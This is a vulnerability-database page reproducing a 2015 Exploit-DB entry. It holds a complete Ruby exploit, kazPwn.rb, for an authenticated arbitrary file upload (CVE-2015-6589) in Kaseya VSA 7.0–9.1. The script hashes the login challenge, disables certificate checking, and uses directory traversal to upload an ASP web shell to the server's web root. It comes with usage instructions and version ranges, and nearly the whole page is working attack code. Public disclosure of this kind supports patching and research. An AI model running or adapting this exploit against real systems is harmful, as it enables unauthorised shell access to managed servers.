Lucene search
K

Kaseya Virtual System Administrator (VSA) 7.0 < 9.1 - (Authenticated) Arbitrary File Upload

🗓️ 28 Sep 2015 00:00:00Reported by Pedro RibeiroType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 48 Views

Kaseya VSA 7.0 < 9.1 Authenticated Arbitrary File Upload exploit by Pedro Ribeir

Related
Code
#!/usr/bin/ruby
#
# kazPwn.rb - Kaseya VSA v7 to v9.1 authenticated arbitrary file upload (CVE-2015-6589 / ZDI-15-450)
# ===================
# by Pedro Ribeiro <[email protected]> / Agile Information Security
# Disclosure date: 28/09/2015
#
# Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>
#
# execjs and mechanize gems are required to run this exploit
#
# According to Kaseya's advisory, this exploit should work for the following VSA versions:
# VSA Version 7.0.0.0 – 7.0.0.32
# VSA Version 8.0.0.0 – 8.0.0.22
# VSA Version 9.0.0.0 – 9.0.0.18
# VSA Version 9.1.0.0 – 9.1.0.8
# This exploit has been tested with v8 and v9.
#
# Check out these two companion vulnerabilities, both of which have Metasploit modules:
# - Unauthenticated remote code execution (CVE-2015-6922 / ZDI-15-449)
# - Unauthenticated remote  privilege escalation (CVE-2015-6922 / ZDI-15-448)
#
# This code is released under the GNU General Public License v3
# http://www.gnu.org/licenses/gpl-3.0.html
# 

require 'execjs'
require 'mechanize'
require 'open-uri'
require 'uri'
require 'openssl'

# avoid certificate errors
OpenSSL::SSL::VERIFY_PEER = OpenSSL::SSL::VERIFY_NONE 
I_KNOW_THAT_OPENSSL_VERIFY_PEER_EQUALS_VERIFY_NONE_IS_WRONG = nil

# Fixes a Mechanize bug, see
# http://scottwb.com/blog/2013/11/09/defeating-the-infamous-mechanize-too-many-connection-resets-bug/
class Mechanize::HTTP::Agent
  MAX_RESET_RETRIES = 10

  # We need to replace the core Mechanize HTTP method:
  #
  #   Mechanize::HTTP::Agent#fetch
  #
  # with a wrapper that handles the infamous "too many connection resets"
  # Mechanize bug that is described here:
  #
  #   https://github.com/sparklemotion/mechanize/issues/123
  #
  # The wrapper shuts down the persistent HTTP connection when it fails with
  # this error, and simply tries again. In practice, this only ever needs to
  # be retried once, but I am going to let it retry a few times
  # (MAX_RESET_RETRIES), just in case.
  #
  def fetch_with_retry(
    uri,
    method    = :get,
    headers   = {},
    params    = [],
    referer   = current_page,
    redirects = 0
  )
    action      = "#{method.to_s.upcase} #{uri.to_s}"
    retry_count = 0

    begin
      fetch_without_retry(uri, method, headers, params, referer, redirects)
    rescue Net::HTTP::Persistent::Error => e
      # Pass on any other type of error.
      raise unless e.message =~ /too many connection resets/

      # Pass on the error if we've tried too many times.
      if retry_count >= MAX_RESET_RETRIES
        puts "**** WARN: Mechanize retried connection reset #{MAX_RESET_RETRIES} times and never succeeded: #{action}"
        raise
      end

      # Otherwise, shutdown the persistent HTTP connection and try again.
      # puts "**** WARN: Mechanize retrying connection reset error: #{action}"
      retry_count += 1
      self.http.shutdown
      retry
    end
  end

  # Alias so #fetch actually uses our new #fetch_with_retry to wrap the
  # old one aliased as #fetch_without_retry.
  alias_method :fetch_without_retry, :fetch
  alias_method :fetch, :fetch_with_retry
end

if ARGV.length < 4
  puts 'Usage: ./kazPwn.rb http[s]://<host>[:port] <username> <password> <shell.asp>'
  exit -1
end

host = ARGV[0]
username = ARGV[1]
password = ARGV[2]
shell_file = ARGV[3]

login_url = host + '/vsapres/web20/core/login.aspx'
agent = Mechanize.new

# 1- go to the login URL, get a session cookie and the challenge.
page = agent.get(login_url)
login_form = page.forms.first
challenge = login_form['loginFormControl$ChallengeValueField']

# 2- calculate the password hashes with the challenge
source = open(host + "/inc/sha256.js").read
source += open(host + "/inc/coverPass.js").read
source += open(host + "/inc/coverPass256.js").read
source += open(host + "/inc/coverData.js").read
source += open(host + "/inc/passwordHashes.js").read
source.gsub!(/\<\!--(\s)*\#include.*--\>/, "")          # remove any includes, this causes execjs to fail
context = ExecJS.compile(source)
hashes = context.call("getHashes",username,password,challenge)

# 3- submit the login form, authenticate our cookie and get the ReferringWebWindowId needed to upload the file
# We need the following input values to login:
#   - __EVENTTARGET (empty)
#   - __EVENTARGUMENT (empty)
#   - __VIEWSTATE (copied from the original GET request)
#   - __VIEWSTATEENCRYPTED (copied from the original GET request; typically empty)
#   - __EVENTVALIDATION (copied from the original GET request)
#   - loginFormControl$UsernameTextbox (username)
#   - loginFormControl$PasswordTextbox (empty)
#   - loginFormControl$SubmitButton (copied from the original GET request; typically "Logon")
#   - loginFormControl$SHA1Field (output from getHashes)
#   - loginFormControl$RawSHA1Field (output from getHashes)
#   - loginFormControl$SHA256Field (output from getHashes)
#   - loginFormControl$RawSHA256Field (output from getHashes)
#   - loginFormControl$ChallengeValueField (copied from the original GET request)
#   - loginFormControl$TimezoneOffset ("0")
#   - loginFormControl$ScreenHeight (any value between 800 - 2048)
#   - loginFormControl$ScreenWidth (any value between 800 - 2048)
login_form['__EVENTTARGET'] = ''
login_form['__EVENTARGUMENT'] = ''
login_form['loginFormControl$UsernameTextbox'] = username
login_form['loginFormControl$SHA1Field'] = hashes['SHA1Hash']
login_form['loginFormControl$RawSHA1Field'] = hashes['RawSHA1Hash']
login_form['loginFormControl$SHA256Field'] = hashes['SHA256Hash']
login_form['loginFormControl$RawSHA256Field'] = hashes['RawSHA256Hash']
login_form['loginFormControl$TimezoneOffset'] = 0
login_form['loginFormControl$SubmitButton'] = 'Logon'
login_form['loginFormControl$screenHeight'] = rand(800..2048)
login_form['loginFormControl$screenWidth'] = rand(800..2048)
page = agent.submit(login_form)
web_windowId = Hash[URI::decode_www_form(page.uri.query)]['ReferringWebWindowId']

# 4- upload the file using the ReferringWebWindowId
page = agent.post('/vsapres/web20/json.ashx', 
  'directory' => "../WebPages",
  'ReferringWebWindowId' => web_windowId,
  'request' => 'uploadFile',
  'impinf__uploadfilelocation' => File.open(shell_file)
)

if page.code == "200"
  puts "Shell uploaded, check " + host + "/" + File.basename(shell_file)
else
  puts "Error occurred, shell was not uploaded correctly..."
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2015 00:00Current
9.2High risk
Vulners AI Score9.2
CVSS 27.5
CVSS 3.19.8
EPSS0.77795
48